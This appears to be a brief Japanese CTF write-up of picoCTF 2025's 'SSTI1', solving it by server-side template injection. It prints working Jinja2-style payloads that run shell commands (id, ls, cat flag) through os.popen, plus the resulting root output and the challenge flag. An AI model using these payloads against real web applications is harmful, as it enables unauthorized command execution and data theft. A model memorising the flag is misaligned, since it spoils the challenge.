Writeup Log

SSTI1

EventPico CTF 2025
DifficultyEasy

## solve

http://rescued-float.picoctf.net:51328/ で立ち上がるので見てみると、以下のような POST リクエストを送れる form がある。

bash
curl 'http://rescued-float.picoctf.net:51328/announce' \
  -X POST \
  --data-raw 'content=test'

payload を {{1+1}} にすると、SSTI が刺さる。Python っぽいので、適当に使えそうな payload を見繕って 1 みる。

text
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

以下の情報が抜けるので、flag を探していく。

bash
uid=0(root) gid=0(root) groups=0(root)

まずはファイルを見てみると、flag があることがわかる。

text
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('ls').read() }}
bash
__pycache__
app.py
flag
requirements.txt

対象の flag ファイルを cat して flag を読み出す。

text
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat flag').read() }}
bash
picoCTF{s4rv3r_s1d3_t3mp14t3_1nj3ct10n5_4r3_c001_4675f3fa}

## flag

  • picoCTF{s4rv3r_s1d3_t3mp14t3_1nj3ct10n5_4r3_c001_4675f3fa}